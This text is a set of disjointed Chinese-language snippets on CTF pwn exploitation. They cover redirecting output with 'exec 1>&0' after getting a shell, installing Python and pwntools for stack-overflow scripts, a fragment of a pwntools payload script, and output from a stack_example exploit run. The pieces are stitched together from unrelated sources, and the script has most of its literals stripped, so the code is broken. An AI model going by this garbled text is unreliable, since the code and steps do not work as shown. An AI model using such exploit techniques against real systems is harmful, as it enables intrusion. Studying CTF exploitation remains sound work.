在getshell后,别忘了用文件重定向exec 1>&0,因为在main函数里close(1)和clsoe(2)关闭了标准输出流和错误输出流,相当于你什么也看不到了,需要重定向标准输出 还有,在本地打是没办法打通的,根据官方wp的说法,pwntools在发现交互的程序标准输出和标准错误输出之后会报[*] Got EOF while reading in interactive,...

栈溢出问题利用依赖pwn及pwntools,这个工具是python库,我们需要安装python环境用于后续栈溢出漏洞测试脚本的编写。 我的电脑装的是python3.6.5,安装方法自行百度,安装成功后,添加环境变量,然后执行命令python查看是否安装成功: 有两种方法: 1、查看python版本:
pwn*pwnlibcontext.update(arch =, os =)(): prefix =postfix =total = prefix + payload + postfix p.sendline(total) p.recvuntil(prefix) data = p.recvuntil(postfix)data[:-]():address = base + (index *) + offset lower_address = address &payload =+(lower_address).encode() +p.sendline...
[*] Got EOF while reading in interactive $ [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936) [*] Got EOF while sending in interactive ``` 可以看到我们确实已经执行success函数。 ### 小总结 上面的示例其实也展示了栈溢出中比较重要的几个步骤: ### 寻找危险...
